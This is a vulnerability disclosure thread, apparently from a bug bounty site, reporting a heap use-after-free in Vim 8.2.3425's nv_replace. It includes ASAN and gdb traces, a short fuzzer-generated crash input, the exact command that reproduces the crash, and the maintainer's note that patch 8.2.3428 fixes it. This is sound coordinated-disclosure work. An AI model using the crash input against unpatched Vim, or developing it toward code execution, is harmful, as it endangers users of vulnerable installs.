Use After Free in vim/vim
Reported on
Sep 11th 2021
✍️ Description
Team, trust you are doing well. As part of continues fuzzing VIM v8.2.3425 in persistence mode, I found a heap use-after-free nv_replace
.
🕵️♂️ Proof of Concept
Affected version: VIM v8.2.3425
Tested on: Linux s157903 4.15.0-106-generic #107-Ubuntu SMP Thu Jun 4 11:27:52 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
VIM - Vi IMproved 8.2 (2019 Dec 12, compiled Sep 11 2021 06:04:35)
Included patches: 1-3425
Compiled by dhiraj@zero
Huge version without GUI. Features included (+) or not (-):
+acl +file_in_path +mouse_urxvt -tag_any_white
+arabic +find_in_path +mouse_xterm -tcl
+autocmd +float +multi_byte +termguicolors
+autochdir +folding +multi_lang +terminal
-autoservername -footer -mzscheme +terminfo
-balloon_eval +fork() +netbeans_intg +termresponse
+balloon_eval_term -gettext +num64 +textobjects
-browse -hangul_input +packages +textprop
++builtin_terms +iconv +path_extra +timers
+byte_offset +insert_expand -perl +title
+channel +ipv6 +persistent_undo -toolbar
+cindent +job +popupwin +user_commands
-clientserver +jumplist +postscript +vartabs
-clipboard +keymap +printer +vertsplit
+cmdline_compl +lambda +profile +virtualedit
+cmdline_hist +langmap -python +visual
+cmdline_info +libcall -python3 +visualextra
+comments +linebreak +quickfix +viminfo
+conceal +lispindent +reltime +vreplace
+cryptv +listcmds +rightleft +wildignore
+cscope +localmap -ruby +wildmenu
+cursorbind -lua +scrollbind +windows
+cursorshape +menu +signs +writebackup
+dialog_con +mksession +smartindent -X11
+diff +modify_fname -sodium -xfontset
+digraphs +mouse -sound -xim
-dnd -mouseshape +spell -xpm
-ebcdic +mouse_dec +startuptime -xsmp
+emacs_tags -mouse_gpm +statusline -xterm_clipboard
+eval -mouse_jsbterm -sun_workshop -xterm_save
+ex_extra +mouse_netterm +syntax
+extra_search +mouse_sgr +tag_binary
-farsi -mouse_sysmouse -tag_old_static
system vimrc file: "$VIM/vimrc"
user vimrc file: "$HOME/.vimrc"
2nd user vimrc file: "~/.vim/vimrc"
user exrc file: "$HOME/.exrc"
defaults file: "$VIMRUNTIME/defaults.vim"
fall-back for $VIM: "/usr/local/share/vim"
Compilation: gcc -c -I. -Iproto -DHAVE_CONFIG_H -g -O2 -D_REENTRANT -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=1
Linking: gcc -L/usr/local/lib -Wl,--as-needed -o vim -lm -ltinfo -ldl
Command:
$ ./vim -U NONE -X -Z -e -s -S poc -c :qa!
Segmentation fault
BT:
(gdb) r -U NONE -X -Z -e -s -S poc -c :qa!
(gdb) bt
#0 tcache_get (tc_idx=0) at malloc.c:2952
#1 __GI___libc_malloc (bytes=11) at malloc.c:3060
#2 0x000000000040538d in lalloc (size=11, message=1) at alloc.c:244
#3 0x0000000000834ead in vim_strnsave (string=0xeb8cf0 "line 12:", len=10) at strings.c:44
#4 0x00000000009e6553 in add_msg_hist (s=0xeb8cf0 "line 12:", len=<optimized out>, attr=8) at message.c:991
#5 0x00000000009e5bf3 in msg_attr_keep (s=0xeb8cf0 "line 12:", attr=8, keep=0) at message.c:162
#6 0x00000000009e7c3c in msg_attr (s=0xeb8cf0 "line 12:", attr=15372304) at message.c:123
#7 msg_source (attr=32) at message.c:536
#8 0x00000000009e8c98 in emsg_core (s=0xeabd70 "E492: Not an editor command: ??\f") at message.c:755
#9 0x00000000009e8379 in emsg (s=0xeabd70 "E492: Not an editor command: ??\f") at message.c:777
#10 0x000000000050d2dc in do_one_cmd (flags=<optimized out>, cstack=<optimized out>, cmdlinep=<optimized out>, fgetline=<optimized out>,
cookie=<optimized out>) at ex_docmd.c:2663
#11 do_cmdline (cmdline=<optimized out>, fgetline=0x7c9f50 <getsourceline>, cookie=0x7fffffffb8d0, flags=7) at ex_docmd.c:999
#12 0x00000000007c922b in do_source (fname=0xeb7bc3 "poc", check_other=0, is_vimrc=0, ret_sid=0x0) at scriptfile.c:1406
#13 0x00000000007c7f17 in cmd_source (fname=0xeb7bc3 "poc", eap=<optimized out>) at scriptfile.c:971
#14 0x00000000005116e4 in do_one_cmd (flags=<optimized out>, cstack=<optimized out>, cmdlinep=<optimized out>, fgetline=<optimized out>,
cookie=<optimized out>) at ex_docmd.c:2610
#15 do_cmdline (cmdline=<optimized out>, fgetline=0x0, cookie=0x0, flags=11) at ex_docmd.c:999
#16 0x00000000009deb7a in exe_commands (parmp=<optimized out>) at main.c:3081
#17 vim_main2 () at main.c:773
#18 0x00000000009dc8ce in main (argc=<optimized out>, argv=<optimized out>) at main.c:425
(gdb) i r
rax 0x0 0
rbx 0xb 11
rcx 0xea9010 15372304
rdx 0x72ec5850 1928091728
rsi 0xea9010 15372304
rdi 0xb 11
rbp 0xffffffffffffff40 0xffffffffffffff40
rsp 0x7fffffffadb0 0x7fffffffadb0
r8 0x0 0
r9 0x0 0
r10 0x2 2
r11 0xa50a6b 10816107
r12 0xffffffffffffff90 -112
r13 0xffffffffffffff90 -112
r14 0x1 1
r15 0xb 11
rip 0x7ffff72ad2d7 0x7ffff72ad2d7 <__GI___libc_malloc+407>
eflags 0x10293 [ CF AF SF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)
ASAN:
==18610==ERROR: AddressSanitizer: heap-use-after-free on address 0x60200000ae33 at pc 0x000000a86a25 bp 0x7fffffff96c0 sp 0x7fffffff96b8
WRITE of size 1 at 0x60200000ae33 thread T0
#0 0xa86a24 in nv_replace /vim/src/normal.c:5111:33
#1 0xa442dc in normal_cmd /vim/src/normal.c:1099:5
#2 0x7b709b in exec_normal /vim/src/ex_docmd.c
#3 0x7b6579 in exec_normal_cmd /vim/src/ex_docmd.c:8533:5
#4 0x7b6579 in ex_normal /vim/src/ex_docmd.c:8451
#5 0x78fe3b in do_one_cmd /vim/src/ex_docmd.c:2610:2
#6 0x77ff8c in do_cmdline /vim/src/ex_docmd.c:999:17
#7 0xd41d8f in do_source /vim/src/scriptfile.c:1406:5
#8 0xd3f047 in cmd_source /vim/src/scriptfile.c:971:14
#9 0x78fe3b in do_one_cmd /vim/src/ex_docmd.c:2610:2
#10 0x77ff8c in do_cmdline /vim/src/ex_docmd.c:999:17
#11 0x12105f2 in exe_commands /vim/src/main.c:3081:2
#12 0x12105f2 in vim_main2 /vim/src/main.c:773
#13 0x120c3ff in main /vim/src/main.c:425:12
#14 0x7ffff6bf8bf6 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
#15 0x41cab9 in _start (/vim/src/vim+0x41cab9)
0x60200000ae33 is located 3 bytes inside of 5-byte region [0x60200000ae30,0x60200000ae35)
freed by thread T0 here:
#0 0x4dc7a0 in __interceptor_free.localalias.0 (/vim/src/vim+0x4dc7a0)
#1 0x5166d1 in vim_free /vim/src/alloc.c:616:2
previously allocated by thread T0 here:
#0 0x4dc970 in malloc (/vim/src/vim+0x4dc970)
#1 0x51545d in lalloc /vim/src/alloc.c:244:11
SUMMARY: AddressSanitizer: heap-use-after-free /vim/src/normal.c:5111:33 in nv_replace
Shadow bytes around the buggy address:
0x0c047fff9570: fa fa fd fa fa fa fd fa fa fa 02 fa fa fa fd fa
0x0c047fff9580: fa fa 01 fa fa fa 00 00 fa fa 01 fa fa fa fd fa
0x0c047fff9590: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x0c047fff95a0: fa fa fd fa fa fa 00 03 fa fa fd fa fa fa 00 03
0x0c047fff95b0: fa fa 01 fa fa fa fd fa fa fa 02 fa fa fa 00 fa
=>0x0c047fff95c0: fa fa 02 fa fa fa[fd]fa fa fa 02 fa fa fa fa fa
0x0c047fff95d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff95e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff95f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==18610==ABORTING
💥 Impact
A successful exploitation may lead to code execution. 📍 Location normal.c#L5111 ex_docmd.c#L8533 📝 References CWE-122: Heap-based Buffer Overflow PoC (pwd: infected)
Please simplify the poc to the minimal needed to reproduce the problem.
Hey Bram, trust you are well. Below is the simplified PoC.
sil!norm???B?B9JBhc??or?orKgg??R0 VR?m
sil!norm???pr??Gn88?R0 VR?rrgJGn8888@
ASAN:
==3815==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000007573 at pc 0x000000a86a55 bp 0x7fffffff96c0 sp 0x7fffffff96b8
WRITE of size 1 at 0x602000007573 thread T0
#0 0xa86a54 in nv_replace /home/dhiraj/nvim/vim/src/normal.c:5111:33
#1 0xa4431c in normal_cmd /home/dhiraj/nvim/vim/src/normal.c:1099:5
#2 0x7b70db in exec_normal /home/dhiraj/nvim/vim/src/ex_docmd.c
#3 0x7b65b9 in exec_normal_cmd /home/dhiraj/nvim/vim/src/ex_docmd.c:8533:5
#4 0x7b65b9 in ex_normal /home/dhiraj/nvim/vim/src/ex_docmd.c:8451
#5 0x78fe6f in do_one_cmd /home/dhiraj/nvim/vim/src/ex_docmd.c:2610:2
#6 0x77ffbc in do_cmdline /home/dhiraj/nvim/vim/src/ex_docmd.c:999:17
#7 0xd41dcf in do_source /home/dhiraj/nvim/vim/src/scriptfile.c:1406:5
#8 0xd3f097 in cmd_source /home/dhiraj/nvim/vim/src/scriptfile.c:971:14
#9 0x78fe6f in do_one_cmd /home/dhiraj/nvim/vim/src/ex_docmd.c:2610:2
#10 0x77ffbc in do_cmdline /home/dhiraj/nvim/vim/src/ex_docmd.c:999:17
#11 0x1210632 in exe_commands /home/dhiraj/nvim/vim/src/main.c:3081:2
#12 0x1210632 in vim_main2 /home/dhiraj/nvim/vim/src/main.c:773
#13 0x120c43f in main /home/dhiraj/nvim/vim/src/main.c:425:12
#14 0x7ffff6bf8bf6 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
#15 0x41cab9 in _start (/home/dhiraj/nvim/vim/src/vim+0x41cab9)
0x602000007573 is located 3 bytes inside of 5-byte region [0x602000007570,0x602000007575)
freed by thread T0 here:
#0 0x4dc7a0 in __interceptor_free.localalias.0 (/home/dhiraj/nvim/vim/src/vim+0x4dc7a0)
#1 0x5166d1 in vim_free /home/dhiraj/nvim/vim/src/alloc.c:616:2
previously allocated by thread T0 here:
#0 0x4dc970 in malloc (/home/dhiraj/nvim/vim/src/vim+0x4dc970)
#1 0x51545d in lalloc /home/dhiraj/nvim/vim/src/alloc.c:244:11
SUMMARY: AddressSanitizer: heap-use-after-free /home/dhiraj/nvim/vim/src/normal.c:5111:33 in nv_replace
Shadow bytes around the buggy address:
0x0c047fff8e50: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fd fa
0x0c047fff8e60: fa fa fd fa fa fa 02 fa fa fa fd fa fa fa 01 fa
0x0c047fff8e70: fa fa 00 00 fa fa 01 fa fa fa fd fa fa fa fd fa
0x0c047fff8e80: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x0c047fff8e90: fa fa 00 03 fa fa fd fa fa fa 01 fa fa fa fd fa
=>0x0c047fff8ea0: fa fa 02 fa fa fa 00 fa fa fa 02 fa fa fa[fd]fa
0x0c047fff8eb0: fa fa 02 fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8ec0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8ed0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8ee0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8ef0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==3815==ABORTING
Please let me know if any further information is required. Cheers!
I cannot reproduce the problem, not with the first "poc" and not with the shorter one. I made sure to build Vim with exactly the same features and asan enabled. I also tried with valgrind. Note that the stack traces you listed are different.
Hey Bram, I tried with the newer version and can reproduce the bug under v8.2.3426 by using the below,
LC_ALL=C vim -U NONE -X -Z -e -s -S poc -c :qa!
Please let me know if any more information is required the above sorted poc works for me with ASAN build and the original "poc" can be used with ASAN build. Apologies for missing the locale.
OK, with some guessing and further reducing the poc I managed to reproduce. The essential part is that 'encoding' is set to "latin-1". Patch 8.2.3428 will have the fix and a test.
@admin can you please change the title "Heap-based Buffer Overflow" to "Heap use-after-free". Thanks!